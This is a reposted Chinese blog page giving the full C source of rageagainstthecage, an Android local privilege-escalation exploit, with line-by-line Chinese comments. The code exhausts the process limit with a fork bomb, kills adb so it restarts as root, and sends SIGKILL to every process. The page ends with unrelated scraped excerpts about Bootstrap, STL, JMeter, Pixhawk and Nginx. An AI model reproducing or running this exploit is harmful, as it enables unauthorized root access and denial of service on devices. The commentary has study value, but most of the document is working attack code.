【转载】rageagainstthecage.c源码以及注释

如下:

//头文件包含
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h> 

//输出错误消息后退出程序
void die(const char *msg)
{
    perror(msg);
    exit(errno);
} 

//搜索ADB进程,返回其PID,没有找到时返回0
pid_t find_adb()
{
    char buf[256];
    int i = 0, fd = 0;
    pid_t found = 0;    //初始化为0,如果没有找到adb将一直保持0值 

    //遍历进程ID的有效范围
    for (i = 0; i < 32000; ++i)
    {
        //拼接字符串"/proc/<PID>/cmdline"
        sprintf(buf, "/proc/%d/cmdline", i); 

        //打开失败,进程不存在或无权访问
        if ((fd = open(buf, O_RDONLY)) < 0)
        {
            //跳过这个PID,继续下一轮循环
            continue;
        }   //end if 

        //buf填0
        memset(buf, 0, sizeof(buf)); 

        //读取进程的命令行
        read(fd, buf, sizeof(buf) - 1); 

        //关闭进程
        close(fd); 

        //在命令行中查找"/sbin/adb"
        if (strstr(buf, "/sbin/adb"))
        {
            //找到了"/sbin/adb"则说明找到了adb进程,返回找到的PID
            found = i;
            break;
        }   //end if
    }   //end for 

    //返回找到的PID或0值
    return found;
} 

//重启adb进程,参数为当前adb进程的PID
void restart_adb(pid_t pid)
{
    //直接杀死进程(sig = SIGKILL)
    kill(pid, 9);
} 

//等待具有root权限的adb进程
//参数为原有adb进程的PID
void wait_for_root_adb(pid_t old_adb)
{
    pid_t p = 0; 

    //死循环,只能由里面的break跳出
    for (;;)
    {
        //搜索adb进程
        p = find_adb(); 

        //找到了adb进程,并且不是原来那个旧的adb进程
        if (p != 0 && p != old_adb)
        {
            //退出循环
            break;
        } 

        //休息1秒,防止大量占用CPU
        sleep(1); 

    }   //end for 

    //休息5秒,等待新的adb进程初始化完毕
    sleep(5); 

    //将SIGKILL广播给系统中的所有进程
    kill(-1, 9);
} 

//程序入口点
int main(int argc, char **argv)
{
    pid_t adb_pid = 0, p;
    int pids = 0, new_pids = 1;
    int pepe[2];
    char c = 0;
    struct rlimit rl; 

    //启动时显示的版本与版权信息
    printf(" CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
    printf(" checking NPROC limit ...\n"); 

    //获取当前进程可以创建的最大子进程数量
    if (getrlimit(RLIMIT_NPROC, &rl) < 0)
    {
        //失败时输出消息退出
        die("[-] getrlimit");
    } 

    //检查是否有最大子进程数量限制
    if (rl.rlim_cur == RLIM_INFINITY)
    {
        //当没有最大子进程数量限制时,不执行exploit,否则将导致系统崩溃
        printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
        exit(1);
    } 

    //输出最大子进程数量软性限制和硬性限制
    printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
    printf(" Searching for adb ...\n"); 

    //查找adb进程
    adb_pid = find_adb(); 

    //检查是否找到了adb进程
    if (!adb_pid)
    {
        //没有找到时直接退出
        die("[-] Cannot find adb");
    } 

    //输出adb进程的PID
    printf("[+] Found adb as PID %d\n", adb_pid); 

    //输出一大堆废话
    printf(" Spawning children. Dont type anything and wait for reset!\n");
    printf("\n If you like what we are doing you can send us PayPal money to\n"
           " [email protected] so we can compensate time, effort and HW costs.\n"
           " If you are a company and feel like you profit from our work,\n"
           " we also accept donations > 1000 USD!\n");
    printf("\n adb connection will be reset. restart adb server on desktop and re-login.\n"); 

    //休息5秒,防止当前的adb进程没有完全初始化
    sleep(5); 

    //如果在父进程中(已有子进程)
    if (fork() > 0)
    {
        //退出
        exit(0);
    } 

    //创建一个新的进程组
    setsid(); 

    //创建管道
    pipe(pepe); 

    //如果在子进程中
    if (fork() == 0)
    {
        //关闭输入管道
        close(pepe[0]); 

        //死循环,直到满足条件时退出进程
        for (;;)
        {
            //如果是子进程
            if ((p = fork()) == 0)
            {
                //直接退出
                exit(0);
            }
            else if (p < 0)     //创建进程失败,说明已达到进程数最大值
            {
                //确保代码只执行一次,防止多个进程反复输出信息
                if (new_pids)
                {
                    printf("\n[+] Forked %d childs.\n", pids);
                    new_pids = 0;
                    //在输出管道中写入一个字节,然后关闭管道
                    //相当于通知顶级父进程fork炸弹完成
                    write(pepe[1], &c, 1);
                    close(pepe[1]);
                }
            }
            else
            {
                //进程总数+1
                ++pids;
            }
        }
    } 

    //关闭输出管道
    close(pepe[1]); 

    //从输入管道中读一个字符,用来等待前面创建的子进程到达最大值
    read(pepe[0], &c, 1); 

    //重启adb
    restart_adb(adb_pid); 

    //在adb重启完以前,再创建一个子进程,占用刚释放出的进程空位
    if (fork() == 0)
    {
        //子进程里继续开子进程,保证进程空位被占满
        fork(); 

        //无限休眠,永不退出
        for (;;)
        {
            sleep(0x743C);
        }
    } 

    //等待具有root权限的adb启动
    wait_for_root_adb(adb_pid); 

    //执行完毕
    return 0;
}

  转自:http://blog.sina.com.cn/s/blog_405bf2e501011ic7.html

时间: 2024-10-16 22:21:12

【转载】rageagainstthecage.c源码以及注释的相关文章

Bootstrap的Model源码详细注释

工作中用到了Bootstrap的Model这个插件,想封装下,然后看了下源码不多,于是读了下源码并注释了下. 后端狗,前端不熟,注释的不好,请务必指出. /* ========================================================================  * Bootstrap: modal.js v3.2.0  * http://getbootstrap.com/javascript/#modals  * ==================

[转载]《STL源码剖析》阅读笔记之 迭代器及traits编程技法

本文从三方面总结迭代器   迭代器的思想   迭代器相应型别及traits思想   __type_traits思想 一 迭代器思想 迭代器的主要思想源于迭代器模式,其定义如下:提供一种方法,使之能够依序巡防某个聚合物(容 器)所含的元素,而又无需暴露该聚合物的内部表达式.可见她的主要作用便是能够降低耦合,提高代码的 模块性. STL的的中心思想在于:将数据容器和算法分开,彼此独立设计,最后再以一贴胶着剂将它们撮合 在一起,这贴胶着剂便是迭代器.迭代器的行为类似智能指针(例如标准库的auto_pt

[转载]JMeter源码导入Eclipse

转载自:http://www.cnblogs.com/taoSir/p/5144274.html 由于JMeter纯Java开发,界面也是基于Swing或AWT搞出来的,所以想更深层次的去了解这款工具或对于想了解JMeter插件开发或二次开发的童鞋们来说,读读JMeter的源码估计是必不可少的,所以首先就得把源码整合起来,方便后面的Debug和二次开发,下面整理了关于JMeter源码整合到Eclipse中的一个过程,希望对大家有一定的帮助. 1. 首先下载源文件:http://jmeter.ap

转载:Pixhawk源码笔记二:APM线程

  转自:新浪@WalkAnt Pixhawk源码笔记一:APM代码基本结构,参见: http://blog.sina.com.cn/s/blog_402c071e0102v59r.html 这里,我们对 APM 线程进行讲解.如有问题,可以交流[email protected].新浪@WalkAnt,转载本博客文章,请注明出处,以便更大范围的交流,谢谢. 第三部分 APM线程 详细参考:http://dev.ardupilot.com/wiki/learning-ardupilot-threa

opencv霍夫变换源码及注释

终于鼓起勇气看hough变换源码了,  之前自己还瞎写了一个检测椭圆中心的 =_=!  不过还好大致一样 static void HoughLinesStandard( const Mat& img, float rho, float theta, int threshold, std::vector<Vec2f>& lines, int linesMax, double min_theta, double max_theta ) { int i, j; float irho

转载:Pixhawk源码笔记四:学习RC Input and Output

转自:新浪@WalkAnt 第五部分 学习RC Input and Output 参考:http://dev.ardupilot.com/wiki/learning-ardupilot-rc-input-output/ RC Input,也就是遥控输入,用于控制飞行方向.改变飞行模式.控制摄像头等外围装置.ArduPilot支持集中不同RC input(取决于具体的硬件飞控板): 1. PPMSum – on PX4, Pixhawk, Linux and APM2 2. SBUS – on P

转载:Pixhawk源码笔记三:串行接口UART和Console

转自:新浪@WalkAnt 第四部分 串行接口UART和Console 详细参考:http://dev.ardupilot.com/wiki/learning-ardupilot-uarts-and-the-console/ UART很重要,用于调试输出,数传.GPS模块等. 1.5个UART 目前共定义了5个UART,他们的用途分别是: uartA – 串行终端,通常是Micro USB接口,运行MAVLink协议. uartB – GPS1模块. uartC – 主数传接口,也就是Pixha

【转载】STL&quot;源码&quot;剖析-重点知识总结

原文:STL"源码"剖析-重点知识总结 STL是C++重要的组件之一,大学时看过<STL源码剖析>这本书,这几天复习了一下,总结出以下LZ认为比较重要的知识点,内容有点略多 :) 1.STL概述 STL提供六大组件,彼此可以组合套用: 容器(Containers):各种数据结构,如:vector.list.deque.set.map.用来存放数据.从实现的角度来看,STL容器是一种class template. 算法(algorithms):各种常用算法,如:sort.se

Nginx 源码完全注释(11)ngx_spinlock

Nginx 是多进程模式的,一个 master 与多个 workers,一般工作在多核 CPU 上,所以自旋锁就是必须用到的.Nginx 中的自旋锁的定义,位于 ngx_spinlock.c 中,如下: void ngx_spinlock(ngx_atomic_t *lock, ngx_atomic_int_t value, ngx_uint_t spin) { #if (NGX_HAVE_ATOMIC_OPS) ngx_uint_t i, n; for ( ;; ) { // lock 即为锁